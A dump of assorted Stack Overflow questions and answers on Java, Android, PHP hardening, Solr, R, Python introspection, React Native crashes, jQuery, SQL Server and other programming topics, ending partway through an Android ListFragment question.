31657146	0	 <p>Another example in JDK - <code>java.lang.Throwable</code></p> <pre><code>private Throwable cause = this; </code></pre> <p>The <code>cause</code> field can be in 3 states - unset; set to null; set to another Throwable. </p> <p>The implementer uses <code>this</code> to represent the <em>unset</em> state.</p> <p>A more readable strategy is probably to define a sentinel value for <em>unset</em></p> <pre><code>static Throwable UNSET = new Throwable(); private Throwable cause = UNSET; </code></pre> <p>of course, there's a recursive dependency - <code>UNSET.cause=?</code> - which is another fun topic.</p>
32261766	0	 <p>You can access a string resource through <code>R.string.mystring</code> or <code>@string/mystring</code>. It is not required that string must be in the file <code>strings.xml</code>. It can be in another file, e.g. <code>mystrings.xml</code>. However, the only requirement is that the file <code>mystrings.xml</code> must be in the directory <code>res/values/</code>.</p> <p><strong>Besides</strong>, you cannot have two string resources with the same name, and it doesn't matter whether they are in different XML files. If you try that in Android Studio, you will get the following error: <code>Error:Execution failed for task ':app:mergeDebugResources'.</code></p>
3342710	0	 <p>one of the easier ways is to harden your <code>php.ini</code> config, specifically the <a href="http://www.kavoir.com/2009/06/php-open_basedir-in-phpini-to-limit-php-file-accesses-to-a-certain-directory.html" rel="nofollow noreferrer">open_basedir directive</a>. Keep in mind, some CMS systems do actually use <code>..\</code> quite a bit in the code, and when there are includes outside the root folder this can create problems. (i.e. pear modules)</p> <p>Another method is to use <a href="http://www.ice2o.com/secure_php.php" rel="nofollow noreferrer">mod_rewrite</a>.</p> <p>Unless you are using an include file to check each and every URL for injection from <code>$_GET</code> and <code>$_SERVER['request_uri']</code> variables, you will open doors for this kind of attack. for example, you might protect <code>index.php</code> but not <code>submit.php</code>. This is why hardening <code>php.ini</code> and <code>.htaccess</code> is the preferred method. </p>
12372294	0	How do I find out what makes a browser keep loading? <p>I am using Opera and sometimes a page keeps on loading even though all content has already been presented. How do I find out which elements are to be loaded or what causes the ongoing loading process?</p>
34854760	0	Issue with EdgeNGramFilterFactory filter class and multiple diactric character in a word <p>I have indexed BLÅBÆRSOMMEREN into Solr and I have added EdgeNGramFilterFactory filter class like this: </p> <pre><code>&lt;fieldType name="nGramtext" class="solr.TextField" positionIncrementGap="100"&gt; &lt;analyzer type="index"&gt; &lt;charFilter class="solr.HTMLStripCharFilterFactory"/&gt; &lt;charFilter class="solr.MappingCharFilterFactory" mapping="mapping-ISOLatin1Accent.txt"/&gt; &lt;tokenizer class="solr.StandardTokenizerFactory"/&gt; &lt;filter class="solr.StopFilterFactory" ignoreCase="true" words="stopwords.txt" /&gt; &lt;filter class="solr.LowerCaseFilterFactory"/&gt; &lt;filter class="solr.EdgeNGramFilterFactory" minGramSize="3" maxGramSize="15" /&gt; &lt;filter class="solr.EdgeNGramFilterFactory" minGramSize="3" maxGramSize="15" /&gt; &lt;filter class="solr.PorterStemFilterFactory"/&gt; &lt;/analyzer&gt; </code></pre> <p>Now, if I search with whole word: <strong>BLÅBÆRSOMMEREN</strong> it gives me result, but if I search with <strong>BLÅB or BLÅBÆRSOMM</strong> it does not give me result. Note I have perform edismax query on this field</p> <p>As per the documentation <a href="http://wiki.apache.org/solr/AnalyzersTokenizersTokenFilters#solr.EdgeNGramFilterFactory" rel="nofollow">here</a> I guess, it should work with all these words but it does not.</p> <blockquote> <p>I have integrated Solr for an eCommerce Site. Initially I have configure that word in Name field and it won't work. Then I have configured that word in Short Description field only(Removed from Name).</p> </blockquote> <p>After this I have performed query and it works. Note: both fields have same field type.</p> <pre><code> &lt;field name="Name" type="text" indexed="true" stored="true" required="false" /&gt; &lt;field name="ShortDescription" type="text" indexed="true" stored="true" required="false" /&gt; </code></pre> <p>Moreover, there are copyfield like: </p> <pre><code>&lt;copyfield source="Name" dest="nGramContent"/&gt; &lt;copyField source="ShortDescription" dest="nGramContent"/&gt; </code></pre> <p>What I did wrong here? Please help! How can I achieve this?</p>
35323132	0	 <p>Here's how I do it: I create an orphan web page with a weird link (for example: <code>booboo123_99999.yoursite.com/setitweird444444444.php</code>), so nobody will know the link but you. You might also deactivate showing the source code from the app browser.</p>
38635217	0	 <p>change SEO url to no from System>setting>server</p>
15423460	0	 <p>You are not calling this method anywhere in your class</p> <pre><code> public void addToArray() </code></pre> <p>That is why the values which you enter are not stored</p>
14236753	0	 <p>Depending on the number of conditional inputs, you might be able to use a look-up table, or even a <code>HashMap</code>, by encoding all inputs or even some relatively simple complex conditions in a single value:</p> <pre><code>int key = 0; key |= a?(1):0; key |= b?(1&lt;&lt;1):0; key |= (c.size() &gt; 1)?(1&lt;&lt;2):0; ... String result = table[key]; // Or result = map.get(key); </code></pre> <p>This paradigm has the added advantage of constant time (<code>O(1)</code>) complexity, which may be important in some occasions. Depending on the complexity of the conditions, you might even have fewer branches in the code-path on average, as opposed to full-blown <code>if-then-else</code> spaghetti code, which might lead to performance improvements.</p> <p>We might be able to help you more if you added more context to your question. Where are the condition inputs coming from? What are they like?</p> <p>And the more important question: <a href="http://mywiki.wooledge.org/XyProblem" rel="nofollow">What is the actual problem that you are trying to solve?</a></p>
40565252	0	 <p>If you were to use arccos you would need the length from one point to the other and the x distance from one point to the other.</p> <p>However with arctan you only need the x distance and the y distance.</p> <p>x and y distances are easy to work out because you just have to minus one coordinate from the other. However the distance between the 2 points is more complicated to work out. This is why it it easier to use arctan instead of arccos, however they can both be used (even arcsin and other inverse trigonometric functions).</p>
12851172	0	 <pre><code>File f1 = new File("FILE_ONE"); File f2 = new File("FILE_TWO"); </code></pre> <p>Try removing the quotes here. You declared FILE_ONE and FILE_TWO as variables earlier in your program, but you aren't calling them. Instead, you've directly called a string "FILE_ONE," which will of course not be found. So replace it with the parameters you passed to CompareFile...</p> <pre><code>File f1 = new File(fILE_ONE2); File f2 = new File(fILE_TWO2); </code></pre> <p>And tell us if that takes care of it.</p>
20575824	0	 <p>Add it before the button:</p> <pre><code>$('#submit').before('&lt;input type="text" value="test" /&gt;'); </code></pre> <p><a href="http://jsfiddle.net/2GvuB/1/" rel="nofollow">http://jsfiddle.net/2GvuB/1/</a></p>
25322288	0	 <pre><code>get_currencies() -&gt; URL = "http://openexchangerates.org", Endpoint = "/api/latest.json?app_id=&lt;myprivateid&gt;", X = string:concat(URL, Endpoint), % io:format("~p~n",[X]). inets:start(), {ok, {_,_,R}} = httpc:request(X), E = jsx:decode(lists_to_binary(R)), Base = proplists:get_value(&lt;&lt;"base"&gt;&gt;,E), Sec = proplists:get_value(&lt;&lt;"timestamp"&gt;&gt;,E), {Days,Time} = calendar:seconds_to_daystime(Sec), Date = calendar:gregorian_days_to_date(Days+719528), Currencies = proplists:get_value(&lt;&lt;"rates"&gt;&gt;,E), fun(C) -&gt; V = proplists:get_value(C,Currencies), {change,Date,Time,Base,C,V} end. </code></pre> <p>and somewhere in your code:</p> <pre><code>GC = get_currencies(), %% you can store GC in an ets, a server state... %% but don't forget to refresh it :o) </code></pre> <p>and use it later</p> <pre><code>{change,D,T,B,C,V} = GC(&lt;&lt;"ZWL"&gt;&gt;), %% should return {change,{2014,8,15},{2,0,12},&lt;&lt;"USD"&gt;&gt;,&lt;&lt;"ZWL"&gt;&gt;,322.355006} </code></pre> <p><strong>[edit]</strong></p> <p>When I use an external application such as jsx (using rebar itself), I use also rebar and its dependency mechanism to create my own application, in my opinion it is the most convenient way. (In other cases, I use also rebar :o)</p> <p>Then I build my application using the OTP behaviors (application, supervisor, gen_server...). It is a lot of modules to write, but some of them are very very short (application and supervisors) and they facilitate the application structure (see <a href="http://www.learnyousomeerlang.com/what-is-otp" rel="nofollow">What is OTP</a> if you are not familiar with this).</p> <p>In your case, my first idea is to have a gen server that build and store the GC anonymous function in its state, each time it get a cast message such as <code>update_currencies</code>, and provide the answer each time it get a call message such as <code>{get_change,Cur}</code> (and maybe refresh GC if it is undefined or out dated).</p> <p>You will also have to decide where the errors will be managed - <em>it may be nowhere: if the gen_server does nothing else but answer to this currency query: if something wrong appears it will crash and be restarted by its supervisor</em> - because this code has many interfaces with the out world and so subject to numerous failures (no Internet access, structure of answer change from site, bad currency request from user...)</p>
11710059	0	 <p>In the code you posted, <code>this</code> is the global <code>window</code> object. When you create a function in the default global scope (like <code>get_denomination</code>) it gets attached as a property to the <code>window</code> object.</p>
23902748	0	 <p>This solution should work just fine. Use <code>ave</code> to get the count of values for each <code>group</code></p> <pre><code>df[ ave(df$score,df$group, FUN=length) &gt;=3 ,] # group score # 1 1 30 # 2 1 10 # 3 1 22 # 8 4 35 # 9 4 2 # 10 4 60 </code></pre>
2749857	0	 <p><strong>EDIT:</strong> To make it clear, I don't recommend using this AT ALL, it will break, it's a mess, it won't help you in anyway, but it's doable for entertainment/education purposes.</p> <p>You can hack around with the <code>inspect</code> module, I don't recommend that, but you can do it... </p> <pre><code>import inspect def foo(a, f, b): frame = inspect.currentframe() frame = inspect.getouterframes(frame)[1] string = inspect.getframeinfo(frame[0]).code_context[0].strip() args = string[string.find('(') + 1:-1].split(',') names = [] for i in args: if i.find('=') != -1: names.append(i.split('=')[1].strip()) else: names.append(i) print names def main(): e = 1 c = 2 foo(e, 1000, b = c) main() </code></pre> <p>Output: </p> <pre><code>['e', '1000', 'c'] </code></pre>
40967728	0	React Native iOS App crashes <p>I followed the "Getting Started" to build my first React Native App.</p> <p>This is what I do:</p> <pre><code>npm install -g yarn react-native-cli react-native init AwesomeProject cd AwesomeProject react-native run-ios </code></pre> <p>However, the app crashed after building successfully.</p> <p>Then I open Xcode to run the app, but the app crashed again.</p> <p>Here is the information:</p> <pre><code>2016-12-05 13:26:26.633 [info][tid:main][RCTBatchedBridge.m:73] Initializing &lt;RCTBatchedBridge: 0x60800019f210&gt; (parent: &lt;RCTBridge: 0x6080000b1460&gt;, executor: RCTJSCExecutor) 2016-12-05 13:26:26.634 AwesomeProject[89471:10945233] *** Assertion failure in -[RCTBatchedBridge loadSource:onProgress:](), /Users/Leaf/Desktop/AwesomeProject/node_modules/react-native/React/Base/RCTBatchedBridge.m:197 2016-12-05 13:26:26.663 AwesomeProject[89471:10945233] *** Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: 'bundleURL must be non-nil when not implementing loadSourceForBridge' *** First throw call stack: ( 0 CoreFoundation 0x000000010adcc34b __exceptionPreprocess + 171 1 libobjc.A.dylib 0x0000000109cda21e objc_exception_throw + 48 2 CoreFoundation 0x000000010add0442 +[NSException raise:format:arguments:] + 98 3 Foundation 0x00000001098a6d79 -[NSAssertionHandler handleFailureInFunction:file:lineNumber:description:] + 166 4 AwesomeProject 0x00000001093ef035 -[RCTBatchedBridge loadSource:onProgress:] + 997 5 AwesomeProject 0x00000001093ed1a3 -[RCTBatchedBridge start] + 883 6 AwesomeProject 0x000000010942d20c -[RCTBridge setUp] + 684 7 AwesomeProject 0x000000010942c263 -[RCTBridge initWithDelegate:bundleURL:moduleProvider:launchOptions:] + 387 8 AwesomeProject 0x000000010942c072 -[RCTBridge initWithBundleURL:moduleProvider:launchOptions:] + 146 9 AwesomeProject 0x000000010938d077 -[RCTRootView initWithBundleURL:moduleName:initialProperties:launchOptions:] + 183 10 AwesomeProject 0x0000000109376585 -[AppDelegate application:didFinishLaunchingWithOptions:] + 245 11 UIKit 0x000000010d33e0be -[UIApplication _handleDelegateCallbacksWithOptions:isSuspended:restoreState:] + 290 12 UIKit 0x000000010d33fa43 -[UIApplication _callInitializationDelegatesForMainScene:transitionContext:] + 4236 13 UIKit 0x000000010d345de9 -[UIApplication _runWithMainScene:transitionContext:completion:] + 1731 14 UIKit 0x000000010d342f69 -[UIApplication workspaceDidEndTransaction:] + 188 15 FrontBoardServices 0x0000000110867723 __FBSSERIALQUEUE_IS_CALLING_OUT_TO_A_BLOCK__ + 24 16 FrontBoardServices 0x000000011086759c -[FBSSerialQueue _performNext] + 189 17 FrontBoardServices 0x0000000110867925 -[FBSSerialQueue _performNextFromRunLoopSource] + 45 18 CoreFoundation 0x000000010ad71311 __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ + 17 19 CoreFoundation 0x000000010ad5659c __CFRunLoopDoSources0 + 556 20 CoreFoundation 0x000000010ad55a86 __CFRunLoopRun + 918 21 CoreFoundation 0x000000010ad55494 CFRunLoopRunSpecific + 420 22 UIKit 0x000000010d3417e6 -[UIApplication _run] + 434 23 UIKit 0x000000010d347964 UIApplicationMain + 159 24 AwesomeProject 0x000000010937695f main + 111 25 libdyld.dylib 0x000000010ed1e68d start + 1 ) libc++abi.dylib: terminating with uncaught exception of type NSException (lldb) </code></pre> <p>The content of <code>AppDelegate.m</code></p> <pre><code>/** * Copyright (c) 2015-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. */ #import "AppDelegate.h" #import "RCTBundleURLProvider.h" #import "RCTRootView.h" @implementation AppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { NSURL *jsCodeLocation; jsCodeLocation = [[RCTBundleURLProvider sharedSettings] jsBundleURLForBundleRoot:@"index.ios" fallbackResource:nil]; RCTRootView *rootView = [[RCTRootView alloc] initWithBundleURL:jsCodeLocation moduleName:@"AwesomeProject" initialProperties:nil launchOptions:launchOptions]; rootView.backgroundColor = [[UIColor alloc] initWithRed:1.0f green:1.0f blue:1.0f alpha:1]; self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds]; UIViewController *rootViewController = [UIViewController new]; rootViewController.view = rootView; self.window.rootViewController = rootViewController; [self.window makeKeyAndVisible]; return YES; } @end </code></pre>
21920300	0	 <p>Check this revised <a href="http://jsfiddle.net/Y3wzJ/12/" rel="nofollow">JSFiddle</a>.</p> <p>You're trying to bind the new plugin event handler before you defined the event handler. Move the event handler to the top of the script panel like so:</p> <p><strong>Script Panel:</strong></p> <pre><code>/* Define New Handler */ (function($) { $.fn.betterMouseover = function (accidentTime, funkcia) { if (accidentTime == undefined || accidentTime == null) { accidentTime = 250; } if (funkcia == undefined || funkcia == null || typeof funkcia != 'function') { funkcia = function() { console.log("no callback action specified for betterMouseover()"); }; } return this.each(function() { var jeOut; $(this).mouseenter(function() { var totok = this; jeOut = false; setTimeout(function(){ if (!jeOut) { $(totok).betterMouseoverHandler(funkcia); } }, accidentTime); }).mouseleave(function() { jeOut = true; }); }); } $.fn.betterMouseoverHandler = function (fx) { fx.call(this); } }(jQuery)); /* Bind New Handler */ $("#col1, #col2").mouseenter(function() { var color; if ($(this).attr('id') == "col1") { color = "#44a0ff"; } else { color = "red"; } $("#original").css({backgroundColor:""+color+""}); }); $("#col3, #col4").betterMouseover(500, function() { var color; if ($(this).attr('id') == "col3") { color = "#44a0ff"; } else { color = "red"; } $("#better").css({backgroundColor:""+color+""}); }); </code></pre>
33063121	0	 <p>I didn't read your code, but I observe a strange artifact: along the horizontal edges, the detected pixels come in isolated 8-connected triples. I would suspect a flaw in the non-maximum suppression logics. (In any case, there is an anisotropy somewhere.)</p> <p>This said, edge detection on a binary image can be done by <a href="http://www.imageprocessingplace.com/downloads_V3/root_downloads/tutorials/contour_tracing_Abeer_George_Ghuneim/index.html" rel="nofollow">contour tracing</a>.</p>
10474974	0	 <p>Try putting these in <code>.git/info/attributes</code>:</p> <pre><code># whatever gets them... yourfile binary -delta merge=binary *.yourext binary -delta merge=binary </code></pre> <p>that'll cause merge conflicts if those files change, and you'll have to figure out what to do with them. check the gitattributes and rebase doc for other merge strategies, I'm not even going to name the dangerous ones here.</p> <p>I'm not sure it's the actual merge trying to get the whole thing in core from running, but it seems worth a try.</p>
2083197	0	keep track of object changes in datagridview using the entity framework <p>I'm using a DataGridView to display EntityObjects from the .NET Entity Framework.</p> <p>how could I change the formatting of a row of the DataGridView if the corresponding EntityObject has been altered by the user, e.g. displaying the row in bold</p> <p>greetings</p>
18058856	0	 <p>Neither.</p> <p>Protect your database from SQL injection <em>when making queries</em>. Where possible, do it <a href="http://stackoverflow.com/a/60496/19068">with parameterized queries</a> instead of manual escaping. </p> <p>Protect your HTML from XSS <em>when you generate your HTML</em>. i.e. apply <code>htmlspecialchars</code> to the data you get <em>out</em> of the database, not the data you put into it.</p>
2837018	0	 <p>You can use <a href="http://php.net/manual/en/function.com-print-typeinfo.php" rel="nofollow noreferrer">com_print_typeinfo()</a> instead of var_dump(). This should work for COM, VARIANT and DOTNET objects. The output looks similar to this:</p> <pre> class IFile { /* GUID={C7C3F5A4-88A3-11D0-ABCB-00A0C90FFFC0} */ // some PHP-COM internal stuff ... /* DISPID=1610612736 */ function QueryInterface( /* VT_PTR [26] [in] --> ? [29] */ &$riid, /* VT_PTR [26] [out] --> VT_PTR [26] */ &$ppvObj ) { } /* DISPID=1610612737 */ /* VT_UI4 [19] */ function AddRef( ) { } // ... /* DISPID=1610678275 */ function Invoke( /* VT_I4 [3] [in] */ $dispidMember, /* VT_PTR [26] [in] --> ? [29] */ &$riid, /* VT_UI4 [19] [in] */ $lcid, /* VT_UI2 [18] [in] */ $wFlags, /* VT_PTR [26] [in] --> ? [29] */ &$pdispparams, /* VT_PTR [26] [out] --> VT_VARIANT [12] */ &$pvarResult, /* VT_PTR [26] [out] --> ? [29] */ &$pexcepinfo, /* VT_PTR [26] [out] --> VT_UINT [23] */ &$puArgErr ) { } // properties and methods of the COM object // ... /* DISPID=1001 */ /* VT_BSTR [8] */ /* Short name */ var $ShortName; /* DISPID=1004 */ /* VT_PTR [26] */ /* Get drive that contains file */ var $Drive; /* DISPID=1005 */ /* VT_PTR [26] */ /* Get folder that contains file */ var $ParentFolder; // ... /* DISPID=1204 */ function Move( /* VT_BSTR [8] [in] */ $Destination ) { /* Move this file */ } /* DISPID=1100 */ /* VT_PTR [26] */ function OpenAsTextStream( /* ? [29] [in] */ $IOMode, /* ? [29] [in] */ $Format ) { /* Open a file as a TextStream */ } } </pre>
9826072	0	 <p>If you have an array named <code>array</code> and a variable <code>pn</code> holding the number of elements in <code>array</code>:</p> <pre><code>$ array=('+47177372141' '+41753459833' ) $ pn=2 $ for ((i=0;i&lt;$pn;i++)); do echo ${array[$i]}; done +47177372141 +41753459833 </code></pre> <p>Another way to iterate over an array (be it numerically indexed or associative) is:</p> <pre><code>$ for key in "${!array[@]}"; do echo "$key: ${array[$key]}"; done 0: +47177372141 1: +41753459833 </code></pre>
8874704	0	 <p>Here is a nice drag and drop demo using HTML5. PHP wouldn't really affect anything, as it is server side, and you're talking about client side interaction.</p> <p><a href="http://www.html5rocks.com/en/tutorials/file/dndfiles/" rel="nofollow">http://www.html5rocks.com/en/tutorials/file/dndfiles/</a></p>
40553810	0	 <p>You're passing a zero to <code>pthread_join</code> as the thread you want to join:</p> <pre><code>pthread_join(0,NULL); </code></pre> <p>You wanted:</p> <pre><code>pthread_join(threads[0],NULL); pthread_join(threads[1],NULL); </code></pre> <p>You have several other bugs though. For one thing, your <code>checkOdd</code> code calls <code>pthread_cond_wait</code> even when it's that thread's turn.</p> <p>You don't seem to understand condition variables. Specifically, you seem to think that somehow the condition variable will know whether or not the thing you are waiting for has happened. It does not -- condition variables are stateless. It's your job to keep track of what you're waiting for and whether or not it has happened.</p>
39035598	0	 <p>I don't remember much but I will try to put the idea (it's something which I had used a long time ago):</p> <ol> <li>Create a table value function which will take the id and phone number as input and then generate a table with id and phone numbers and return it.</li> <li>Use this function in query passing id and phone number. The query is such that for each id you get as many rows as the phone numbers. CROSS APPLY/OUTER APPLY needs to be used.</li> <li>Then you can check for the duplicates.</li> </ol> <p>The function would be something like this:</p> <pre><code>CREATE FUNCTION udf_PhoneNumbers ( @Id INT ,@Phone VARCHAR(300) ) RETURNS @PhonesTable TABLE(Id INT, Phone VARCHAR(50)) BEGIN DECLARE @CommaIndex INT DECLARE @CurrentPosition INT DECLARE @StringLength INT DECLARE @PhoneNumber VARCHAR(50) SELECT @StringLength = LEN(@Phone) SELECT @CommaIndex = -1 SELECT @CurrentPosition = 1 --index is 1 based WHILE @CommaIndex &lt; @StringLength AND @CommaIndex &lt;&gt; 0 BEGIN SELECT @CommaIndex = CHARINDEX(',', @Phone, @CurrentPosition) IF @CommaIndex &lt;&gt; 0 SELECT @PhoneNumber = SUBSTRING(@Phone, @CurrentPosition, @CommaIndex - @CurrentPosition) ELSE SELECT @PhoneNumber = SUBSTRING(@Phone, @CurrentPosition, @StringLength - @CurrentPosition + 1) SELECT @CurrentPosition = @CommaIndex + 1 INSERT INTO @UsersTable VALUES(@Id, @PhoneNumber) END RETURN END </code></pre> <p>Then run CROSS APPLY query:</p> <pre><code>SELECT U.* ,UD.* FROM yourtable U CROSS APPLY udf_PhoneNumbers(Userid, Phone) UD </code></pre> <p>This will give you the table on which you can run query to find duplicate.</p>
25538418	0	 <p>For one thing, you're using content1 as the outer index in the first chunck of code, so matric should be initialized with content1 on the outer as well:</p> <pre><code>matrix = [[0 for x in range(len(content2))] for x in range(len(content1))] </code></pre> <p>And yes, you can do it in one line like the other answer mentions:</p> <pre><code>matrix = [[1 if i == j else 0 for j in content2] for i in content1] </code></pre>
8603188	0	 <p>SWI-Prolog <a href="http://www.swi-prolog.org/pldoc/doc_for?object=section%283,%273.16%27,swi%28%27/doc/packages/http.html%27%29%29" rel="nofollow">library(http/html_write)</a> library builds on DCG a DSL for page layout.</p> <p>It shows a well tought model for integrating Prolog and HTML, but doesn't attempt to cover the entire problem. The 'residual logic' on the client side remains underspecified, but this is reasonable, being oriented on practical issues 'reporting' from RDF.</p> <p>Thus the 'small detail' client interaction logic is handled in a 'black box' fashion, and such demanded to YUI components in the published application (the award winner <a href="http://e-culture.multimedian.nl/software/ClioPatria.shtml" rel="nofollow">Cliopatria</a>).</p> <p>The library it's extensible, but being very detailed, I guess for your task you should eventually reuse just the ideas behind.</p>
26810978	0	background-image with a left and right, the repeat-x of center image makes the right image not show up <pre><code>.news-header { background-image: url(maureske_green_left.gif), url(maureske_green_body.gif), url(maureske_green_right.gif); background-position: left, center, right; background-repeat: no-repeat, repeat-x, no-repeat; height: 31px; } </code></pre> <p>This works good but the repeat-x of <code>maureske_green_body.gif</code> makes maureske_green_right.gif to not show up.</p> <p>Setting a <code>width</code> doesnt make the right image to show neither.</p> <p>If I do <code>no-repeat</code> on the center image all images show up but of course theres a gap between all three. So how do I fix without making center image same width as webpage?</p> <p>Thanks in advance!</p> <p>Jarosław</p>
22168426	0	How to display the time on the right footer when inserting a card? <p>I'm using GDK <code>TimelineManager</code> to insert a static card to the timeline, and I noticed that there's no <code>just now</code> or something like that displayed on the right footer. </p> <p>What am I doing wrong? Is the time just for the Mirror API or am I missing something here?</p>
4392102	0	Entity Framework 4: What causes .Take(10) to return 20 records? <p>I believe I am doing the following:</p> <pre><code> var myQuery = Products.Where( p =&gt; p.deptid = 3); var myCount = Products.Count(); var myResult = myQuery.OrderBy( p =&gt; p.deptname).Skip(10).Take(10); //then return an object with a count property and a List&lt;Product&gt; property. </code></pre> <p>Sometimes, this returns double the take amount.</p> <p>There are a few layers to my solution, namely a Repository and a Service layer. I am pretty sure that I am not ordering, skipping, nor taking in my repository, and this is the service layer code. What could cause myResult to have more than 10 records when I take 10 records?</p>
22207737	0	using jquery validate plugin in asp.net controls not working <p>I am trying to use the jquery plugin <code>validate()</code> method to validate a div in my current sharepoint visual webpart. I am not sure why this is not working. it does nothing at all.</p> <p>Here is the code.</p> <pre><code> &lt;div id="main" runat="server"&gt; &lt;h3&gt;2. Select your study subject.&lt;span class="red"&gt;*&lt;/span&gt;&lt;/h3&gt; &lt;asp:RadioButtonList CssClass="required" ID="rdb_study_popul" runat="server" OnSelectedIndexChanged="rdb_study_popul_SelectedIndexChanged"&gt; &lt;asp:ListItem&gt;Individuals&lt;/asp:ListItem&gt; &lt;asp:ListItem&gt;Population&lt;/asp:ListItem&gt; &lt;/asp:RadioButtonList&gt; &lt;/div&gt; &lt;asp:Button ID="btn_studysubject_section" runat="server" CssClass="WBSButtonhide" OnClick="btn_studysubject_section_Click" Text="Next"/&gt; </code></pre> <p>here is the jquery </p> <pre><code> $("input[type='submit']").click(function () { if ($(this).val() != 'Back') { var names = []; var info = " "; $('#&lt;%= main.ClientID %&gt;').validate({ rules: { &lt;%= rdb_study_popul.ClientID%&gt; : { required: true } }, messages: { &lt;%= rdb_study_popul.ClientID%&gt; : "This field cannot be empty, please enter between" } }); } }); </code></pre>
20642380	0	 <p>I would suggest, that you define a path in another more suitable way:</p> <pre><code> int pathDeltas[][] = { {1, 0}, {0, 1}, {-1, 0}, {0, -1}, // Up, down, left, right {1, 1}, {-1, 1}, {1, -1}, {-1, -1}, // diagonal paths }; </code></pre> <p>Then you can start from the kind position and adds deltas to x and y coordinates until you hit 1 or 8 value. Also you could calculate the knight paths like this:</p> <pre><code>int knightDeltas[][] {{1, 2}, {2, 1}, {-1, 2}, {-2, 1}, {1, -2}, {2, -1}, {-1, -2}, {-2, -1}}; </code></pre>
11923556	0	 <p>You did not initialize <code>itr</code> before accessing <code>itr-&gt;second</code>. Indeed, you did not assign any legal value to <code>itr</code> at all.</p>
25720825	0	Load remote server image in UIScrollView with NSOperatoinQueue <p><br/> I want to load some "image" (In remote server) in a <code>UIScrollView</code> with <code>NSOperatoinQueue</code>. Because If I load it with normal <code>NSURL</code>, <code>NSData</code> or with <code>NSMutableURLRequest</code> it takes too much time to load for all the images. After that I show those images in <code>UIButton</code>. Here is my code:</p> <pre><code>- (void)viewDidLoad { [super viewDidLoad]; [self startAnimation:nil]; self.imageDownloadingQueue = [[NSOperationQueue alloc] init]; self.imageDownloadingQueue.maxConcurrentOperationCount = 4; // many servers limit how many concurrent requests they'll accept from a device, so make sure to set this accordingly self.imageCache = [[NSCache alloc] init]; [self performSelector:@selector(loadData) withObject:nil afterDelay:0.5]; } -(void) loadData { adParser = [[AdParser alloc] loadXMLByURL:getXMLURL]; adsListArray = [adParser ads]; displayArray = [[NSMutableArray alloc] init]; for (AdInfo *adInfo1 in adsListArray) { AdInfo *adInfo2 = [[AdInfo alloc] init]; [adInfo2 setBannerIconURL:adInfo1.bannerIconURL]; [adInfo2 setBannerIconLink:adInfo1.bannerIconLink]; [displayArray addObject:adInfo2]; } [self loadScrollView]; [activityIndicator stopAnimating]; } -(void) loadScrollView { [self.scrollView setScrollEnabled:YES]; [self.scrollView setContentSize:CGSizeMake([displayArray count] * ScrollerWidth, ScrollerHight)]; for (int i = 0; i &lt; [displayArray count]; i++) { adButtonOutLet = [[UIButton alloc] initWithFrame:CGRectMake(i*320, 0, ButtonWidth, ButtonHight)]; currentAd = [displayArray objectAtIndex:i]; NSString *imageUrlString = [currentAd bannerIconURL]; UIImage *cachedImage = [self.imageCache objectForKey:imageUrlString]; if (cachedImage) { [adButtonOutLet setImage:cachedImage forState:UIControlStateNormal]; } else { [self.imageDownloadingQueue addOperationWithBlock:^ { NSData *imageData = [NSData dataWithContentsOfURL:[NSURL URLWithString:imageUrlString]]; UIImage *image = nil; image = [UIImage imageWithData:imageData]; // add the image to your cache [self.imageCache setObject:image forKey:imageUrlString]; // finally, update the user interface in the main queue [[NSOperationQueue mainQueue] addOperationWithBlock:^ { [adButtonOutLet setImage:image forState:UIControlStateNormal]; }]; }]; } adButtonOutLet.userInteractionEnabled= YES; [adButtonOutLet setTag:i]; [adButtonOutLet addTarget:self action:@selector(goToURL:) forControlEvents:UIControlEventTouchUpInside]; [self.scrollView addSubview:adButtonOutLet]; } } </code></pre> <p>Can anyone tell me what's wrong with the above code? There is no problem of parsing or retrieving data from Remote server. I check it by <code>NSLog</code>. I think the <code>NSOperationQueue</code> have some problem, which I can't manage properly. Thanks in advance. If you needed more information, I will attach here. Have a nice day.</p>
6590952	0	 <p>As an alternative, I would suggest trying to switch to:</p> <pre><code>@Html.Action("actionMethod","controller") </code></pre> <p>This extension helper works similarly to RenderAction, but returns MvcHtmlString, instead of writing directly to the Output buffer (Response stream).</p> <p>The Html.RenderAction is a method returns void. So you must put a ";" at the end. As for the exception, you might want to try to debug into it and see what the variables are set to etc if you would like to stick with that helper method.</p> <p>Hopefully that helps.</p>
7856420	0	 <p>You can't really ask a question about assembly code without mentioning what kind of processor assembly code you're talking about. For example, many processors have a dedicated instruction for counting number of bits set. For example, see <a href="http://en.wikipedia.org/wiki/SSE4#POPCNT_and_LZCNT" rel="nofollow">POPCNT</a> </p>
20502239	0	 <p>I found the solution!!!! -------- NOT</p> <p>Add this line before all the code in my question above:</p> <pre><code> CrystalReportViewer1.ParameterFieldInfo.Clear(); </code></pre> <p>Then load the file name and so forth.......</p>
30332584	0	ListView inside fragment error <p>my fragment :</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>public class NewsFragment extends ListFragment { private ProgressDialog pDialog; // URL to get contacts JSON private static String url = "url"; // JSON Node names private static final String TAG_NEWS = "news"; private static final String TAG_ID = "id"; private static final String TAG_JUDUL = "judul"; private static final String TAG_TGL = "tanggal"; private static final String TAG_ISI = "isi"; private static final String TAG_SUMBER = "sumber"; private static final String TAG_GAMBAR = "gambar"; // contacts JSONArray JSONArray news = null; // Hashmap for ListView ArrayList&lt;HashMap&lt;String, String&gt;&gt; newsList; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View newsView = inflater.inflate(R.layout.fragment_news, container, false) ; newsList = new ArrayList&lt;HashMap&lt;String, String&gt;&gt;(); ListView lv = getListView(); lv.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView&lt;?&gt; parent, View view, int position, long id) { // getting values from selected ListItem String judul = ((TextView) view.findViewById(R.id.judul)) .getText().toString(); String tanggal = ((TextView) view.findViewById(R.id.tglPublish)) .getText().toString(); String sumber = ((TextView) view.findViewById(R.id.sumber)) .getText().toString(); // Starting single contact activity Intent in = new 